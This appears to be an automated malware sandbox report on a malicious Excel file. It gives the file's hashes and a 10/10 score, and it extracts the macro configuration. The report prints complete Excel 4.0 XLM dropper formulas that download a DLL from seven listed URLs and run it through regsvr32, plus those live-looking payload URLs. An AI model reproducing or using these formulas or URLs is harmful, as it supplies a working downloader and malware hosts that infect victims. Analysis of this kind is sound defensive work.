General

  • Target

    3b726e75dbb5d25c2058eb37cb2b82490cff8c260536d6a54ef7acaebe6ac20b

  • Size

    73KB

  • Sample

    241120-2zsxgazmaq

  • MD5

    2782e4a26bbe1e9cdb8a34af0ae440e3

  • SHA1

    d70d84ebd43556d546c3739df545dfd52ec6c8aa

  • SHA256

    3b726e75dbb5d25c2058eb37cb2b82490cff8c260536d6a54ef7acaebe6ac20b

  • SHA512

    7183704b5d5745d8a7f9943c3a39baf0a7b4affff6ab632cbd08fc967f7ea2e8c36d8dbc4ed6e189f2b9d9f722b732ce53b19a61958a40237649fcb1eefc00c1

  • SSDEEP

    1536:i41yiXSto0NSVUINwtzLT7OMuuAe0yOcfpXZGsMlV4XG:B1yiCtzSmICpH7OZuvZGsMX

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://appleinfoway.com/venv/5Pp/

http://www.atelierkikala.com/Facebook/vXY2sLFfbSSCTh/

http://astrogurusunilbarmola.com/css/ucDJnRTACskNjrZOHr/

http://atters.net/cgi-bin/0yIPlpXo3156/

http://www.andrarose.com/wp-admin/9NE3hpWhdggun0YLeQ0/

http://ara-choob.com/data1/yPQ8/

http://asyadegirmen.com/Template/aweTuOE/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://appleinfoway.com/venv/5Pp/","..\ujg.dll",0,0) =IF('EGDGB'!F7<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.atelierkikala.com/Facebook/vXY2sLFfbSSCTh/","..\ujg.dll",0,0)) =IF('EGDGB'!F9<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://astrogurusunilbarmola.com/css/ucDJnRTACskNjrZOHr/","..\ujg.dll",0,0)) =IF('EGDGB'!F11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://atters.net/cgi-bin/0yIPlpXo3156/","..\ujg.dll",0,0)) =IF('EGDGB'!F13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.andrarose.com/wp-admin/9NE3hpWhdggun0YLeQ0/","..\ujg.dll",0,0)) =IF('EGDGB'!F15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ara-choob.com/data1/yPQ8/","..\ujg.dll",0,0)) =IF('EGDGB'!F17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://asyadegirmen.com/Template/aweTuOE/","..\ujg.dll",0,0)) =IF('EGDGB'!F19<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\ujg.dll") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://appleinfoway.com/venv/5Pp/

xlm40.dropper

http://www.atelierkikala.com/Facebook/vXY2sLFfbSSCTh/

xlm40.dropper

http://astrogurusunilbarmola.com/css/ucDJnRTACskNjrZOHr/

xlm40.dropper

http://atters.net/cgi-bin/0yIPlpXo3156/

Targets

    • Target

      3b726e75dbb5d25c2058eb37cb2b82490cff8c260536d6a54ef7acaebe6ac20b

    • Size

      73KB

    • MD5

      2782e4a26bbe1e9cdb8a34af0ae440e3

    • SHA1

      d70d84ebd43556d546c3739df545dfd52ec6c8aa

    • SHA256

      3b726e75dbb5d25c2058eb37cb2b82490cff8c260536d6a54ef7acaebe6ac20b

    • SHA512

      7183704b5d5745d8a7f9943c3a39baf0a7b4affff6ab632cbd08fc967f7ea2e8c36d8dbc4ed6e189f2b9d9f722b732ce53b19a61958a40237649fcb1eefc00c1

    • SSDEEP

      1536:i41yiXSto0NSVUINwtzLT7OMuuAe0yOcfpXZGsMlV4XG:B1yiCtzSmICpH7OZuvZGsMX

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks